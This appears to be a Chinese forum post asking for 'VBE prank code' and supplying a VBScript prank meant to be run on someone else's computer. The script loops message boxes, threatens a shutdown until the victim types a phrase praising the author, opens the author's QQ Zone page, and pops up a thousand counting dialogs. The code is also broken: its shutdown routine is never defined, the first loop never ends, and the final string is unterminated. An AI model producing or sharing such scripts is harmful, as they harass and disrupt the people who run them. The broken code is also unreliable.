谁有vbe整人代码越多越好

do:msgbox"爽死你~":loop
set ws=createobject("wscript.shell")
call shutdown(1)
do while a<>"孟哥无敌"
a=inputbox("说孟哥无敌,就不关机，快撒，说 ""孟哥无敌"" ","说不说","不说")
loop
call shutdown(2)
msgbox "早说就行了嘛",4096+64
msgbox"孟哥无敌真的无敌吗!",4096+64
msgbox"孟哥无敌!",4096+64
MsgBox"最后一次!",4096+64
MsgBox"如果你很快的点过去,不看的话",4096+64
MsgBox"我就要你踩我空间的!哼!",4096+64
MsgBox"从前有座山!",4096+64
MsgBox"山里有个庙.",4096+64
MsgBox"庙里有个老和尚在讲故事.",4096+64
ws.run"iexplore.exe http://new.qzone.qq.com/82883883/infocenter"
msgbox"哎呀累了！数绵羊哄我睡觉",4096+64
for i=1 to 1000
MsgBox i&"只绵羊",4096+64
next
msgbox"哎呀我困了，这次就饶过你吧，下次注意哦!&